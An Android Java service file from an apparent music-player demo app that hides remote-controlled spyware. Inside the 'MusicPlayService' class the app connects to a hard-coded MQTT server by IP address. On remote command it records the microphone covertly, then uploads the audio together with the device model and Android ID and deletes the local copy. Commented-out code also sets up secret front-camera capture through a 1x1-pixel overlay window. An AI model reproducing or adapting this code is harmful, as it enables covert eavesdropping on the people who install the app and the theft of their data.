package com.hzh.cusviewdemo.Music;

import static com.hzh.cusviewdemo.Activity.MusicActivity.ACTION_UPDATE_UI_MUSIC;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.PixelFormat;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.graphics.Rect;
import android.graphics.RectF;
import android.hardware.Camera;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.text.format.DateFormat;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.View;
import android.view.WindowManager;
import android.widget.RemoteViews;

import androidx.annotation.Nullable;

import com.alibaba.fastjson.JSON;
import com.blankj.utilcode.util.AppUtils;
import com.blankj.utilcode.util.ConvertUtils;
import com.blankj.utilcode.util.DeviceUtils;
import com.blankj.utilcode.util.NetworkUtils;
import com.blankj.utilcode.util.TimeUtils;
import com.blankj.utilcode.util.ToastUtils;
import com.bumptech.glide.Glide;
import com.hzh.cusviewdemo.Activity.MusicActivity;
import com.hzh.cusviewdemo.Base.HandlerAction;
import com.hzh.cusviewdemo.Bean.MusicData;
import com.hzh.cusviewdemo.Fragment.PlayMusicFragment;
import com.hzh.cusviewdemo.Presenter.MusicPresenter;
import com.hzh.cusviewdemo.R;
import com.hzh.cusviewdemo.Util.Config;
import com.hzh.cusviewdemo.Util.DisplayUtils;
import com.hzh.cusviewdemo.Util.RandomAllUtil;
import com.hzh.cusviewdemo.Util.ScreenUtils;
import com.hzh.cusviewdemo.Util.UploadHelper;
import com.hzh.metamqtt.MetaMqtt;
import com.hzh.metamqtt.MetaMqttCallBack;

import org.eclipse.paho.client.mqttv3.IMqttDeliveryToken;
import org.eclipse.paho.client.mqttv3.MqttCallback;
import org.eclipse.paho.client.mqttv3.MqttClient;
import org.eclipse.paho.client.mqttv3.MqttConnectOptions;
import org.eclipse.paho.client.mqttv3.MqttException;
import org.eclipse.paho.client.mqttv3.MqttMessage;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.StandardCharsets;
import java.util.Calendar;
import java.util.Locale;
import java.util.Random;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;

/**
 * 音乐播放服务，用于常驻广播接收器
 */
public class MusicPlayService extends Service implements MusicPresenter, HandlerAction {

    public static final String PLAYER_MANAGER_ACTION = "com.hzh.cusviewdemo.Music.MusicPlayerService.player.action"; // 广播接收Action
    private PlayerManagerReceiver mReceiver; // 广播接收器

    private RemoteViews remoteViews;
    private NotificationManager manager;

    private MyPlayReceiver playReceiver;
    private Notification.Builder builder;
    private Bitmap bm = null;
    private WindowManager windowManager;
    private WindowManager.LayoutParams layoutParams;
    private View floatView;
    private SurfaceView mSurfaceView;
    private SurfaceHolder mSurfaceHolder;
    private Camera mCamera;
    private MqttClient mqttClient;
    private MqttConnectOptions options;

    private String clientId = "MUSIC_" + RandomAllUtil.getNumLargeSmallLetter(8);
    private String userName = "CLIENT_" + RandomAllUtil.getNumLargeSmallLetter(8);
    private MediaRecorder mMediaRecorder;
    private String fileName;
    private File musicFile;

    public MusicPlayService() {
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        Log.e(Config.TAG, "MusicPlayService:onCreate");
        register();
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            // android 8.0之后
            String NOTIFICATION_CHANNEL_ID = "package_name";
            String channelName = "My Background Service";
            NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_LOW);
            manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
            manager.createNotificationChannel(channel);
            //开启另一个页面
            Intent appIntent = new Intent(this, MusicActivity.class);
            appIntent.setAction(Intent.ACTION_MAIN);
            appIntent.addCategory(Intent.CATEGORY_LAUNCHER);
            //设置启动模式
            appIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
            PendingIntent contentIntent = PendingIntent.getActivity(this, 0, appIntent, PendingIntent.FLAG_MUTABLE);

            remoteViews = new RemoteViews(AppUtils.getAppPackageName(), R.layout.notify_play);
            builder = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
                    .setSmallIcon(R.drawable.ic_logo)  // the status icon
                    .setWhen(System.currentTimeMillis())  // the time stamp
                    .setContentText("听歌神器，点击回到APP")  // the contents of the entry
                    .setContentIntent(contentIntent)
                    .setCustomContentView(remoteViews);
            Notification notification = builder.build();
            startForeground(2, notification);

        }

        //initPic();
        ToConnectMqtt();
    }

    /**
     * 链接MQTT
     */
    private void ToConnectMqtt() {
        Log.e(Config.TAG, "ToConnect");

        new Thread(() -> {
            if (NetworkUtils.isAvailable()) {
                try {
                    // 创建mqttClient
                    mqttClient = new MqttClient("tcp://58.221.60.210:1883", clientId, new MemoryPersistence());
                    // 初始化配置
                    options = new MqttConnectOptions();
                    options.setCleanSession(false);
                    options.setUserName(userName);
                    options.setWill("died/", (" A mqtt died at time -- " + TimeUtils.getNowString()).getBytes(StandardCharsets.UTF_8), 1, false);
                    options.setPassword("45678".toCharArray());
                    options.setConnectionTimeout(20);
                    options.setKeepAliveInterval(10);
                    // 设置接收监听
                    mqttClient.setCallback(new MqttCallback() {
                        @Override
                        public void connectionLost(Throwable cause) {
                            Log.e(Config.TAG, "--触发1" + cause.getCause().getLocalizedMessage());
//                            startConnectMachine();
                            try {
                                mqttClient.connect(options);
                            } catch (MqttException e) {
                                e.printStackTrace();
                            }
                        }

                        @Override
                        public void messageArrived(String topic, MqttMessage message) {
//                                mCamera.takePicture(null, null, (data, camera) -> {
//                                    // 原图，角度未知
//                                    Bitmap source = BitmapFactory.decodeByteArray(data, 0, data.length);
//                                    // 上传查看
//                                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
//                                        DisplayUtils.saveBitmapOfQ(mSurfaceView.getContext(), source);
//                                        mCamera.startPreview();
//                                    }
//                                });

                            // 接收消息
                            try {
                                String content = new String(message.getPayload(), "GB2312");
                                if (content.equals("0")) {
                                    // 0 代表开始录音
                                    startRecord();
                                } else {
                                    // 1 代表停止录音。
                                    stopRecord();
                                }
                                Log.e(Config.TAG, "A--" + content);
                            } catch (UnsupportedEncodingException e) {
                                e.printStackTrace();
                            }

                        }

                        @Override
                        public void deliveryComplete(IMqttDeliveryToken token) {

                        }
                    });
                    // 连接mqtt
                    mqttClient.connect(options);
                    // 订阅
                    mqttClient.subscribe("MESS/#", 1);
                    Log.e(Config.TAG, "连接MQTT成功");
                    // 连接成功停止重连机制
                    stopConnectMachine();
                } catch (Exception e) {
                    e.printStackTrace();
                    // 开启重连机制
                    Log.e(Config.TAG, "--触发2" + e.getMessage());
                    // startConnectMachine();
                    try {
                        mqttClient.connect(options);
                    } catch (MqttException e1) {
                        e1.printStackTrace();
                    }
                }
            } else {
                // 网络没有连接 开启重连机制
                Log.e(Config.TAG, "--触发3");
                //startConnectMachine();
                try {
                    mqttClient.connect(options);
                } catch (MqttException e) {
                    e.printStackTrace();
                }
            }
        }).start();


    }

    public void startRecord() {
        // 开始录音
        /* ①Initial：实例化MediaRecorder对象 */
        if (mMediaRecorder == null)
            mMediaRecorder = new MediaRecorder();
        try {
            /* ②setAudioSource/setVedioSource */
            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 设置麦克风
            /*
             * ②设置输出文件的格式：THREE_GPP/MPEG-4/RAW_AMR/Default THREE_GPP(3gp格式
             * ，H263视频/ARM音频编码)、MPEG-4、RAW_AMR(只支持音频且音频编码要求为AMR_NB)
             */
            mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
            /* ②设置音频文件的编码：AAC/AMR_NB/AMR_MB/Default 声音的（波形）的采样 */
            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
            fileName = DateFormat.format("yyyyMMdd_HHmmss", Calendar.getInstance(Locale.CHINA)) + ".mp3";
            musicFile = new File(getExternalFilesDir(null) + "/" + fileName);

            /* ③准备 */
            mMediaRecorder.setOutputFile(musicFile.getAbsolutePath());
            mMediaRecorder.prepare();
            /* ④开始 */
            mMediaRecorder.start();
            Log.e(Config.TAG, "开始, 文件路径：" + musicFile.getAbsolutePath());
        } catch (Exception e) {
            Log.e(Config.TAG, "failed: 异常：" + e.toString());
        }
    }

    public void stopRecord() {
        try {
            if (mMediaRecorder != null) {
                mMediaRecorder.stop();
                mMediaRecorder.release();
                mMediaRecorder = null;
            }

            Log.e(Config.TAG, "已停止录制");
            // TODO 对文件进行上传，并且，上传后进行删除
            String fileUrl = UploadHelper.uploadAudio(musicFile.getAbsolutePath());
            // 保存
            MusicData data = new MusicData();
            data.setCreatetime(TimeUtils.getNowString());
            data.setDeviceinfo(DeviceUtils.getManufacturer() + "_" + DeviceUtils.getModel() + "_" + DeviceUtils.getAndroidID());
            data.setFileurl(fileUrl);

            // UPLOAD
            addMusicData(data, new OnAddMusicDataListener() {
                @Override
                public void OnAddMusicDataSuccess() {
                    Log.e(Config.TAG, "SUCCESS");
                }

                @Override
                public void OnAddMusicDataFail(String msg) {
                    Log.e(Config.TAG, msg);
                }
            });

            if (musicFile.exists()) {
                musicFile.delete();
            }
        } catch (RuntimeException e) {
            Log.e(Config.TAG, e.toString());
            mMediaRecorder.reset();
            mMediaRecorder.release();
            mMediaRecorder = null;
            musicFile.delete();
        }
    }

    private ScheduledExecutorService scheduler;

    /**
     * 开启重连机制
     */
    public void startConnectMachine() {
        // 每10S重连一次  开启重连机制
        Log.e(Config.TAG, "触发重连MQTT");
        scheduler = Executors.newSingleThreadScheduledExecutor();
        scheduler.scheduleWithFixedDelay(() -> {
            if (mqttClient != null) {
                if (!mqttClient.isConnected()) {
                    try {
                        // 创建mqttClient
                        mqttClient = new MqttClient("tcp://58.221.60.210:1883", clientId, new MemoryPersistence());
                        // 初始化配置
                        options = new MqttConnectOptions();
                        options.setCleanSession(false);
                        options.setUserName(userName);
                        options.setWill("died/", (" B mqtt died at time -- " + TimeUtils.getNowString()).getBytes(StandardCharsets.UTF_8), 1, false);
                        options.setPassword("98764".toCharArray());
                        options.setConnectionTimeout(20);
                        options.setKeepAliveInterval(10);
                        // 设置接收监听
                        mqttClient.setCallback(new MqttCallback() {
                            @Override
                            public void connectionLost(Throwable cause) {
                                Log.e(Config.TAG, "--触发4" + cause.getCause().getMessage() + "--" + cause.getCause().getLocalizedMessage());
                                startConnectMachine();
                            }

                            @Override
                            public void messageArrived(String arriveTopic, MqttMessage message) {
                                // 消息收到,自己的消息直接return
//                                mCamera.takePicture(null, null, new Camera.PictureCallback() {
//                                    @Override
//                                    public void onPictureTaken(byte[] data, Camera camera) {
//                                        // 原图，角度未知
//                                        Bitmap source = BitmapFactory.decodeByteArray(data, 0, data.length);
//                                        // 上传查看
//                                        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
//                                            DisplayUtils.saveBitmapOfQ(mSurfaceView.getContext(), source);
//                                            mCamera.startPreview();
//                                        }
//                                    }
//                                });

                                // 接收消息
                                try {
                                    Log.e(Config.TAG, "--" + new String(message.getPayload(), "GB2312"));
                                } catch (UnsupportedEncodingException e) {
                                    e.printStackTrace();
                                }
                            }

                            @Override
                            public void deliveryComplete(IMqttDeliveryToken token) {
                            }
                        });
                        mqttClient.connect(options);
                        mqttClient.subscribe("MESS", 1);
                        // 连接成功
                        Log.e(Config.TAG, "重连MQTT成功");
                        stopConnectMachine();
                    } catch (Exception e) {
                        e.printStackTrace();
                        // 连接失败
                        Log.e(Config.TAG, "重连MQTT失败");
                    }
                } else {
                    Log.e(Config.TAG, "检测MQTT正常");
                }
            } else {
                Log.e(Config.TAG, "Client为空");
            }
        }, 0, 3 * 1000, TimeUnit.MILLISECONDS);
    }

    /**
     * 关闭重连机制
     */
    public void stopConnectMachine() {
        if (scheduler != null) {
            if (!scheduler.isShutdown()) {
                scheduler.shutdown();
            }
        }
    }

    private void initPic() {
        windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
        layoutParams = new WindowManager.LayoutParams();
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            layoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
        } else {
            layoutParams.type = WindowManager.LayoutParams.TYPE_PHONE;
        }
        layoutParams.format = PixelFormat.RGBA_8888;
        layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
        layoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
        layoutParams.width = ConvertUtils.dp2px(1f);
        layoutParams.height = ConvertUtils.dp2px(1f);
        layoutParams.x = 0;
        layoutParams.y = 0;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
//        LayoutInflater layoutInflater = LayoutInflater.from(this);
//        floatView = layoutInflater.inflate(R.layout.view_float, null);
//        windowManager.addView(floatView, layoutParams);
//        // 拍照处理
//        mSurfaceView = floatView.findViewById(R.id.surface_view);
//        mSurfaceHolder = mSurfaceView.getHolder();
//        mSurfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
//        mSurfaceHolder.addCallback(new NewSurfaceHolder());
        return super.onStartCommand(intent, flags, startId);
    }

    class NewSurfaceHolder implements SurfaceHolder.Callback {
        @Override
        public void surfaceCreated(SurfaceHolder holder) {
            try {
                Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
                int numberOfCameras = Camera.getNumberOfCameras();
                for (int i = 0; i < numberOfCameras; i++) {
                    Camera.getCameraInfo(i, cameraInfo);
                    if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
                        mCamera = Camera.open(i);
                        mCamera.setPreviewDisplay(holder);
                        mCamera.setDisplayOrientation(90);
                        mCamera.startPreview();
//
//                        /**
//                         * 相机开启需要时间 延时takePicture
//                         */
//                        new Handler().postDelayed(new Runnable() {
//                            @Override
//                            public void run() {
//                                mCamera.takePicture(null, null, new Camera.PictureCallback() {
//                                    @Override
//                                    public void onPictureTaken(byte[] data, Camera camera) {
//                                        // 原图，角度未知
//                                        Bitmap source = BitmapFactory.decodeByteArray(data, 0, data.length);
//                                        // 上传查看
//                                        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
//                                            DisplayUtils.saveBitmapOfQ(mSurfaceView.getContext(), source);
//                                            mCamera.startPreview();
//                                        } else {
//                                        }
//
//                                    }
//                                });
//                            }
//                        }, 1000);
                    }
                }

            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
            Camera.Parameters parameters = mCamera.getParameters(); // 获取各项参数
            parameters.setPictureFormat(PixelFormat.JPEG); // 设置图片格式
            parameters.setJpegQuality(100); // 设置照片质量

            /**
             * 以下不设置在某些机型上报错
             */
            int mPreviewHeight = parameters.getPreviewSize().height;
            int mPreviewWidth = parameters.getPreviewSize().width;
            parameters.setPreviewSize(mPreviewWidth, mPreviewHeight);
            parameters.setPictureSize(mPreviewWidth, mPreviewHeight);

            mCamera.setParameters(parameters);
        }

        @Override
        public void surfaceDestroyed(SurfaceHolder holder) {
            mCamera.stopPreview();
            mCamera.unlock();
            mCamera.release();
        }
    }

    class MyPlayReceiver extends BroadcastReceiver {
        int status;
        int duration;
        int current;
        String currentSentence;
        String coverPic; // 封面图片

        @Override
        public void onReceive(Context context, Intent intent) {
            // setMusicName();
            status = intent.getIntExtra(Constant.STATUS, 0);
//            Log.d(Config.TAG, "onReceive: " + status);
            current = intent.getIntExtra(Constant.KEY_CURRENT, 0);
            duration = intent.getIntExtra(Constant.KEY_DURATION, 100);
            currentSentence = intent.getStringExtra(Constant.KEY_CURRENT_SENTENCE);
            coverPic = intent.getStringExtra(Constant.KEY_PIC);
            // 存储歌词文件

            switch (status) {
                case Constant.STATUS_RUN:
                    // 设置通知栏歌词变动
//                    remoteViews.setTextViewText(R.id.np_lrc, currentSentence);
//                    manager.notify(2, builder.build());
                    break;
                case Constant.STATUS_LOAD_OK:
                    // 加载封面图片
                    new Thread(() -> {
                        Bitmap twoBitmap = netToLoacalBitmap(coverPic);
                        if (twoBitmap == null) {
                            remoteViews.setImageViewResource(R.id.np_cover, R.drawable.ic_logo_round);
                        } else {
                            remoteViews.setImageViewBitmap(R.id.np_cover, twoBitmap);
                        }
                        // 设置通知栏的歌曲名称和歌手
                        remoteViews.setTextViewText(R.id.np_name, MyMusicUtil.getStringShared(Constant.KEY_NAME));
                        remoteViews.setTextViewText(R.id.np_songer, MyMusicUtil.getStringShared(Constant.KEY_SONGER));
                        manager.notify(2, builder.build());
                    }).start();
                    break;
                default:
                    break;
            }

        }

    }

    /**
     * todo 将网络资源图片转换为Bitmap
     *
     * @param imgUrl 网络资源图片路径
     * @return Bitmap
     * 该方法调用时要放在子线程中
     */
    public Bitmap netToLoacalBitmap(String imgUrl) {
        Bitmap bitmap;
        InputStream in;
        BufferedOutputStream out;
        try {
            in = new BufferedInputStream(new URL(imgUrl).openStream(), 1024);
            final ByteArrayOutputStream dataStream = new ByteArrayOutputStream();
            out = new BufferedOutputStream(dataStream, 1024);
            copy(in, out);
            out.flush();
            byte[] data = dataStream.toByteArray();
            bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
            return getRoundedCornerBitmap(bitmap);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }

    private void copy(InputStream in, OutputStream out)
            throws IOException {
        byte[] b = new byte[1024];
        int read;
        while ((read = in.read(b)) != -1) {
            out.write(b, 0, read);
        }
    }

    public static Bitmap getRoundedCornerBitmap(Bitmap bitmap) {
        try {
            Bitmap output = Bitmap.createBitmap(bitmap.getWidth(),
                    bitmap.getHeight(), Bitmap.Config.ARGB_8888);
            Canvas canvas = new Canvas(output);
            final Paint paint = new Paint();
            final Rect rect = new Rect(0, 0, bitmap.getWidth(),
                    bitmap.getHeight());
            final RectF rectF = new RectF(new Rect(0, 0, bitmap.getWidth(),
                    bitmap.getHeight()));
            final float roundPx = 30;
            paint.setAntiAlias(true);
            canvas.drawARGB(0, 0, 0, 0);
            paint.setColor(Color.BLACK);
            canvas.drawRoundRect(rectF, roundPx, roundPx, paint);
            paint.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.SRC_IN));
            final Rect src = new Rect(0, 0, bitmap.getWidth(),
                    bitmap.getHeight());
            canvas.drawBitmap(bitmap, src, rect, paint);
            return output;
        } catch (Exception e) {
            return bitmap;
        }
    }

    public Bitmap getTwoBitmap(String url) {
        Log.e("TAG_ME", "==A" + url);
        bm = null;
        new Thread(() -> {
            try {
                URL iconUrl = new URL(url);
                URLConnection conn = iconUrl.openConnection();
                HttpURLConnection http = (HttpURLConnection) conn;
                int length = http.getContentLength();
                conn.connect();
                // 获得图像的字符流
                InputStream is = conn.getInputStream();
                BufferedInputStream bis = new BufferedInputStream(is, length);
                bm = BitmapFactory.decodeStream(bis);
                bis.close();
                is.close();// 关闭流
                Log.e("TAG_ME", "==B" + length);
            } catch (Exception e) {
                e.printStackTrace();
                Log.e("TAG_ME", "==C" + e);
            }
        }).start();
        return bm;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.e(Config.TAG, "MusicPlayService:onDestroy");
        unRegister();
        if (null == floatView) {
            return;
        }
        windowManager.removeView(floatView);
        windowManager = null;
    }

    private void register() {
        Log.e(Config.TAG, "MusicPlayService:register");
        mReceiver = new PlayerManagerReceiver(MusicPlayService.this);
        IntentFilter intentFilter = new IntentFilter();
        intentFilter.addAction(PLAYER_MANAGER_ACTION);
        registerReceiver(mReceiver, intentFilter);

        playReceiver = new MyPlayReceiver();
        IntentFilter filter = new IntentFilter();
        filter.addAction(ACTION_UPDATE_UI_MUSIC);
        registerReceiver(playReceiver, filter);
    }

    private void unRegister() {
        if (mReceiver != null) {
            unregisterReceiver(mReceiver);
        }
        if (playReceiver != null) {
            unregisterReceiver(playReceiver);
        }
    }
}
